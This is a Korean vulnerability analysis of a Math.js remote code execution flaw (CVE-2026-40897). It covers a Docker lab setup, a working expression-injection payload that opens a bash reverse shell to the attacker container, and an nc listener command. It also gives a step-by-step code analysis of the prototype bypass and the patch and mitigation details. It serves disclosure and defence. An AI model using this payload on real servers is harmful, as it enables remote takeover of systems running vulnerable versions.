Math.js RCE 취약점
■ 서론
2026년 4월 17일, JavaScript 및 Node.js 환경에서 사용되는 수학 연산 라이브러리 Math.js에서 원격 코드 실행 취약점(CVE-2026-40897)이 공개되었다. 해당 취약점은 Math.js의 수식 해석 기능에서 발생하며, 공격자는 조작된 수식 입력값을 통해 원래는 계산만 수행해야 하는 evaluate() 기능을 코드 실행 지점으로 악용할 수 있다. 특히 서버 측 Node.js 환경에서 해당 기능을 사용할 때, 취약한 경우 공격자가 서버 권한으로 원격 코드 실행이 가능하며, 최악의 경우 피해자의 시스템을 장악할 수 있다.
Math.js는 수식 계산, 단위 변환, 행렬 연산 등을 지원하는 오픈소스 수학 라이브러리로, 웹 서비스의 계산 기능이나 데이터 처리 기능에 활용될 수 있다. npm 기준 주간 다운로드 수가 수백만 회에 달하는 널리 사용되는 라이브러리인 만큼, 취약 버전을 사용하는 환경에서는 버전 점검 및 보안 패치 적용이 필요하다.
그림 1. Math.js 최근 1년 다운로드 추이 - npm Trends (2026.05.06)
■ 영향받는 소프트웨어 버전
CVE-2026-40897에 취약한 소프트웨어는 다음과 같다.
| S/W 구분 | 취약 버전 |
| Math.js | v13.1.1 <= version < v15.2.0 |
■ 공격 시나리오
그림 2. 공격 시나리오
■ 테스트 환경 구성 정보
하나의 호스트 PC에서 도커를 이용해 피해자 환경과 공격자 환경을 분리하여 테스트를 진행한다. 피해자 환경은 취약한 Math.js가 설치된 Node.js 서버 컨테이너로 구성하고, 공격자 환경은 Kali Linux 컨테이너를 사용한다.
| 이름 | 정보 |
| 피해자 |
Node.js 20.18.0 & Math.js 15.1.0 (172.17.0.2) |
| 공격자 |
Kali Linux (172.17.0.3) |
■ 취약점 테스트
Step 1. 취약 환경 구성
먼저 피해자 환경을 구성한다. 피해자 컨테이너는 사용자가 입력한 수식을 계산해주는 Node.js 서버이며, 취약 버전인 Math.js 15.1.0을 사용한다. 다음 명령어로 도커 이미지를 빌드한 뒤 컨테이너를 실행한다.
> git clone https://github.com/EQSTLab/cve-2026-40897.git
> cd cve-2026-40897
> docker build -t cve-2026-40897 .
> docker run -d --name cve-2026-40897 -p 3000:3000 cve-2026-40897
Step 2. 공격 수행 및 결과 확인
공격자는 Kali Linux 컨테이너에서 피해자 Node.js 서버의 수식 계산 기능에 접근한다. 이 때, 해당 기능이 사용자가 입력한 수식을 계산해주는 것을 확인할 수 있다.
그림 3. 수식 계산 기능 확인
공격자는 정상 수식 대신 악성 페이로드를 입력하여 원격 명령 실행을 시도한다. 해당 페이로드는 Math.js의 수식 처리 과정에서 제한되어야 할 동작을 우회적으로 호출하도록 유도하며, 이를 통해 서버 측에서 공격자의 악성 JavaScript 코드가 실행된다.
그림 4. 악성 페이로드 삽입
테스트에 사용된 페이로드는 다음과 같다.
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'','params':array,'expr': reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c ₩'bash -i >& /dev/tcp/172.17.0.3/4444 0>&1₩'").toString()')
shell()
해당 페이로드는 피해자 Node.js 서버가 공격자 환경으로 연결을 시도하도록 구성되어 있다. 따라서 공격자는 페이로드를 실행하기 전에 다음 명령어로 공격자 환경에서 연결을 수신하도록 준비한다.
nc -lvnp 4444
계산 버튼을 눌러 악성 페이로드를 피해자 서버로 전달하면 공격자 환경과 피해자 Node.js 서버가 연결된다. 공격자는 이를 통해 서버 측 권한으로 명령을 실행할 수 있다.
그림 5. 원격 명령 실행 결과
■ 취약점 상세 분석
Step 1. Math.js
Math.js는 JavaScript/Node.js 환경에서 수식 계산 기능을 제공하는 라이브러리이다. 개발자는 다음과 같이 math.js가 제공하는 API를 코드에서 직접 호출하거나, expression 1을 math.evaluate()에 전달하여 계산할 수 있다.
const math = require('mathjs');
// 일반 함수 호출: 개발자가 코드에서 math.js API를 직접 호출
math.log(10000, 10) // 4
math.sqrt(-4) // 2i
// expression을 math.js가 해석해서 실행
math.evaluate('1.2 * (2 + 4.5)') // 7.8
math.evaluate('12.7 cm to inch') // 5 inch
math.evaluate('log(10000, 10)') // 4
math.evaluate('sum([1, 2, 3])') // 6
// 문자열 수식 안에서 함수 정의
math.evaluate('f(x) = x * 2')
math.evaluate('f(10)') // 20
math.evaluate()를 사용한 expression 계산은, 내부적으로 Math.js Node 객체로 변환되어 처리된다. 여기서 Node 객체는 사용자가 입력한 expression 문자열을 Math.js가 이해할 수 있도록 잘게 나눈 내부 구조이다. Math.js는 expression에 따라 다음과 같이 여러 종류의 Node 객체를 사용한다.
| expression | Math.js Node |
1 |
ConstantNode (상수 값을 표현) |
[1, 2, 3] |
ArrayNode (배열 표현식을 표현) |
f(x) = x + 1 |
FunctionAssignmentNode (함수 정의식을 표현) |
x |
SymbolNode (변수 이름을 표현) |
x + 1 |
FunctionAssignmentNode (연산자를 포함한 계산식을 표현) |
예를 들어 f(x) = x + 1같은 함수가 입력되면, Math.js는 이를 하나의 문자열로만 보관하지 않고, 함수 이름, 매개변수, 계산식으로 나누어 Node 객체를 만든다. 계산식인 x + 1도 다시 ' x ', ' + ', ' 1 '로 나뉘어 저장된다.
그림 6. Math.js expression 처리 구조1
이후 f(10)이 입력되면, Math.js는 앞에서 만든 구조를 사용한다. 매개변수 x에 10을 넣고, 저장된 계산식 x + 1을 10 + 1로 계산해 결과를 반환한다.
그림 7. Math.js expression 처리 구조2
즉, expression으로 입력된 값은 단순 문자열 상태로 처리되는 것이 아니라, Math.js 내부에서 사용되는 Node 객체 구조로 변환된다. 이번 취약점은 공격자가 이러한 Node 객체의 처리 흐름을 임의로 구성할 수 있다는 구조적 결함에서 기인한다.
Step 2. 취약 코드 분석
공격자는 Math.js의 reviver()를 통해 내부 Node 객체를 구성하고, 그 과정에서 얻은 배열의 map 속성을 덮어쓸 수 있었다. 이후 Math.js의 정상 객체 처리 과정에서 map 속성이 호출되면 공격자가 덮어쓴 함수가 실행되고, 이를 통해 Function 생성자 참조를 획득한다. 즉, 공격자는 위험 속성에 직접 접근한 것이 아니라 Math.js 내부의 정상 처리 흐름을 공격자 함수 실행으로 바꿔 검증을 우회했고, 최종적으로 임의 JavaScript 실행까지 이어갈 수 있었다.
그림 8. 취약점을 통한 원격 코드 실행 흐름
1. reviver() – 사용자 입력 기반 Math.js Node 객체 생성
reviver()는 JSON 형태로 변환된 Math.js Node 객체를 복원하는 기능이다. JSON.parse(복원할 JSON, reviver)와 같이, JavaScript 내장 함수 JSON.parse의 인자로 사용되어, 객체 안의 모든 key-value쌍에 대한 복원을 시도한다. 이때, value 안에 mathjs 필드가 있는 경우, 해당 이름에 맞는 클래스의 fromJSON() 메서드를 호출해 알맞는 Math.js Node 객체를 생성한다.
그림 9. reviver()를 통한 Node 객체 생성
다음과 같이 JSON으로 변환된 ConstantNode를 복원한다고 가정할 경우, JSON.parse()를 통해 reviver가 호출된다.
const json = '{"mathjs":"ConstantNode","value":1}';
JSON.parse(json, reviver);
이후 reviver()가 모든 key-value 쌍을 확인한다. 문자열이나 숫자처럼 mathjs 필드가 없는 값은 그대로 반환하고, mathjs 필드가 있는 객체를 만나면 해당 Math.js Node 객체를 생성하여 원래 형태로 복원한다.
reviver("mathjs", "ConstantNode")
// value가 문자열 값이므로 그대로 반환
reviver("value", 1)
// value가 숫자 값이므로 그대로 반환
reviver("", { mathjs: "ConstantNode", value: 1 })
// value.mathjs 가 존재하므로 ConstantNode.fromJSON(value) 호출
// ConstantNode 생성
문제는 reviver()가 Math.js expression 안에서도 호출 가능한 함수로 노출되어 있었다는 점이다. 이로 인해 공격자는 reviver()의 인자를 직접 구성하고, 다음과 같이 Math.js Node 객체를 생성할 수 있었다.
constantNode = reviver('', {mathjs: 'ConstantNode'});
array = reviver('', {mathjs: 'ArrayNode'})
reviver('',{'mathjs':'FunctionAssignmentNode','name':'','params':array,'expr': constantNode })
2. ArrayNode.toJSON().items – 배열 속성에 악성코드 주입
이후 공격자는 JavaScript 배열의 프로토타입에 존재하는 map 속성을 덮어써, Math.js 내부에서 공격자 함수가 실행되도록 유도한다. map()은 배열의 각 원소를 함수로 처리해 새 배열을 만드는 메서드로, Math.js도 배열 데이터를 처리할 때 이를 사용하기 때문에 공격에 악용되었다.
이를 위해, map 속성을 덮어쓰기 위한 배열을 Math.js의 배열 Node 객체 ArrayNode에서 얻고자 하였다. ArrayNode 클래스를 보면, 내부에 items 배열을 갖는 것을 확인할 수 있다.
그림 10. ArrayNode.toJSON()의 items 배열
공격자는 다음과 같은 expression으로 items 배열에 대한 참조를 얻을 수 있다. reviver()를 통해 생성된 객체는 Math.js 검증에 의해 expression으로 속성에 접근하는 것이 불가능하기 때문에, 이를 우회할 수 있는 toJSON() 객체를 통해서 items 배열에 접근한다.
array = reviver('', {mathjs: 'ArrayNode'}).toJSON()['items']
이후 공격자는 JavaScript 배열의 프로토타입에 존재하는 map 속성을 덮어써, Math.js 내부에서 공격자 함수가 실행되도록 유도한다. map()은 배열의 각 원소를 함수로 처리해 새 배열을 만드는 메서드인데, Math.js도 배열 데이터를 처리할 때 이를 사용하기 때문에 공격에 악용되었다.
Math.js에서는 expression을 통해 객체나 배열의 속성을 설정할 때 setSafeProperty()가 호출되며, 실제 설정 전에 해당 속성이 안전한지 검증한다.
그림 11. setSafeProperty()
취약 버전의 Math.js는 일반 JavaScript 객체와 배열에 대해서 Object.prototype과 Function.prototype에 존재하는 속성 접근은 차단하였으나, Array.prototype에 존재하는 속성 접근에 대해서는 검사하지 않았다.
그림 12. 취약 Math.js의 속성 검증 로직
따라서 공격자는 map 속성을 다음과 같은 함수로 덮어쓸 수 있었다. 함수 객체의 constructor로 접근해 Function 생성자 참조를 얻기 위해 Math.js의 계산 함수 중 하나인 sum을 사용했으며, 이 expression은 이후 객체 처리 과정에서 sum.constructor 접근을 유도한다.
//expression
array.map = f(callback) = callback({
'map': f2(callback2) = callback2({}, 'constructor'),
'type': sum
})
//JavaScript로는 아래와 같이 해석된다.
array.map = function (callback) {
return callback({
map: function (callback2) {
return callback2({}, 'constructor');
},
type: sum
});
};
3. FunctionAssignmentNode.toJSON() – 주입된 악성코드 실행 및 Function 생성자 획득
공격자는 덮어쓴 map 속성을 Math.js 내부에서 실행하도록 만들기 위해 FunctionAssignmentNode를 이용하였다. 다음과 같은 expression으로 Math.js의 함수 정의 노드 객체인 FunctionAssignmentNode를 생성하면서, 앞에서 조작한 배열을 params로 전달할 수 있었다.
functionAssignmentNode = reviver('', {
mathjs: 'FunctionAssignmentNode',
name: '',
params: array,
expr: reviver('', {mathjs: 'ConstantNode'})
})
FunctionAssignmentNode 생성자를 확인해보면, params.map()을 사용하여 this.params와 this.types를 할당한다.
그림 13. FunctionAssignmentNode의 params.map 호출
정상적인 경우라면 param에는 params 배열의 원소가 하나씩 들어가야 하지만, 현재 params는 map 속성을 덮어쓴 array에 해당한다. 따라서 공격자가 정의한 map 함수가 실행되고, 실행 결과로 다음 객체가 반환되어 param으로 전달한다.
{
map: f2(callback2) {
return callback2({}, 'constructor');
},
type: sum
};
FunctionAssignmentNode은 각 파라미터의 param.name 또는 param.type을 읽어 this.params와 this.types를 구성한다. 그런데 공격자가 넘긴 객체에는 name이 없기 때문에 this.params에는 객체 자체가 저장되고, type에는 sum이 들어 있으므로 this.types에는 sum이 저장된다.
그 결과 FunctionAssignmentNode 내부 상태는 다음과 같이 구성된다.
그림 14. FunctionAssignmentNode 내부 상태
FunctionAssignmentNode 내부 상태가 공격자가 의도한 형태로 구성된 뒤, 공격자는 toJSON()을 호출하여 Function 생성자 참조 획득을 시도한다. 다음과 같은 expression으로 toJSON()을 호출하고, 반환값의 params.type에 접근한다.
func = functionAssignmentNode.toJSON()['params']['type']
FunctionAssignmentNode.toJSON() 메서드는 객체를 JSON 형태로 변환하는 과정에서this.params.map()을 호출한다.
그림 15. FunctionAssignmentNode.toJSON()의 params 변환 로직
즉, 앞에서 this.params에 저장된 공격자의 두번째 map 함수가 실행되고, 그 결과가 다음과 같이 반환된다.
callback2({}, 'constructor');
여기서 두 번째 인자인 constructor는 toJSON() 내부에서 index 인자값으로 사용된다. 원래라면 index에는 0, 1 같은 숫자가 들어가 types[0], types[1]처럼 조회되어야 하지만, 공격자가 constructor를 넘겼기 때문에 다음과 같은 접근이 발생한다.
type: sum['constructor']
JavaScript 함수 객체의 constructor는 Function 생성자를 가리키므로, func에는 Function 생성자 참조가 저장된다.
그림 16. Function 생성자 참조 획득
4. Function() – 임의 JavaScript 실행
Function 생성자는 문자열을 JavaScript 코드로 컴파일해 새로운 함수를 만들 수 있다. Node.js 환경에서는 생성된 함수가 서버 프로세스 권한으로 실행되므로, process 객체를 통해 child_process 모듈에 접근할 수 있다면, 다음과 같이 OS 명령 실행으로 이어질 수 있다.
shell = func(
'return process.mainModule.require("child_process")' +
'.execSync("<OS command>")' +
'.toString()'
)
shell()
■ 대응 방안
2026년 4월 Math.js 개발자는 CVE-2026-40897 취약점에 대한 보안 패치를 공개하였다. 해당 패치에서는 배열에 대한 속성 설정 검증과, 배열 인덱스 처리에 사용되는 인자에 대한 검증 추가가 이루어졌다.
| S/W 구분 | 패치 버전 |
| Math.js | v15.2.0 |
Step 1. 보안 패치 적용
해당 보안 패치에서는 배열에 대한 속성 설정 검증과, 배열 인덱스 처리에 사용되는 인자에 대한 검증 추가가 이루어졌다. 취약 버전의 setSafeProperty()는 객체와 함수 프로토타입에 존재하는 속성 설정은 제한했지만, 배열 프로토타입에 존재하는 속성 설정은 별도로 제한하지 않았다.
패치 후에는 이 문제를 막기 위해 객체와 배열의 속성 설정 검사를 분리했다. 이는 객체와 배열은 허용해야 하는 속성의 기준이 다르기 때문이다. 특히, 배열은 정상 동작을 위해 인덱스나 length 같은 일부 속성 설정을 허용할 필요가 있다.
따라서 아래와 같이 객체는 isSafeObjectProperty()에서 검사하고, 배열은 isSafeAProperty()에서 별도로 검사하도록 변경되었다.
그림 17. 속성 설정 검증 로직 분할
isSafeAProperty()는 배열에 설정 가능한 속성을 숫자 인덱스, 숫자 문자열 인덱스, length로 제한한다. 즉, 배열 원소를 설정하는 정상 동작은 유지하면서, map같은 배열 메서드명을 공격자 함수로 덮어쓰는 행위는 차단한다.
그림 18. 배열 속성 설정 검증
결과적으로 공격자가 reviver()를 통해 Math.js Node 객체를 구성하더라도, 배열 메서드 조작을 이용해 내부 Node 처리 흐름을 변조할 수 없게 되었다.
Step 2. 내부 객체 생성 경로 차단
Math.js는 배열의 프로토타입에 존재하는 속성을 덮어쓰지 못하도록 제한하는 방향으로 이번 취약점을 해결하였다. 그러나 공격의 시작점이었던 reviver()는 여전히 expression을 통해 사용 가능하며, 공격자가 Math.js 내부 객체를 구성할 수 있는 공격 표면이 여전히 남게 된다. 이번 취약점에서 FunctionAssignmentNode.toJSON()이 params.map()에 대한 검증 없는 신뢰로 발생한 만큼, Math.js 내부 로직에서 특정 속성에 대한 신뢰 로직이 남아있다면 공격자는 이를 악용하여 또 다른 검증 우회 방법을 시도할 수 있다.
Math.js 공식 문서에서도 reviver()와 같은 함수는 보안상 주의가 필요하다고 언급하고 있다. 따라서 외부에서 expression을 입력 받는 서비스라면, reviver()를 비활성화 하는 것을 권장한다. 해당 함수는 Math.js 내부 로직으로, 클라이언트에서 사용할 이유가 없는 함수이기 때문이다.
다음과 같이 math.import()를 사용해 위험 함수를 비활성화할 수 있다.
import { create, all } from 'mathjs'
const math = create(all)
math.import({
'reviver': function () { throw new Error('Function reviver is disabled') }
}, { override: true })
비활성화 후 reviver()를 expression에 입력하면, 에러가 출력되며 실행되지 않는다.
그림 19. reviver() 비활성화
■ 참고 사이트
• Math.js Github Security: https://github.com/advisories/GHSA-29qv-4j9f-fjw5
• Math.js Github Commit: https://github.com/josdejong/mathjs/pull/3656/commits
• Math.js: https://mathjs.org/index.html
• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-40897
1 expression: math.js가 해석하는 형태의 수식 입력을 의미한다.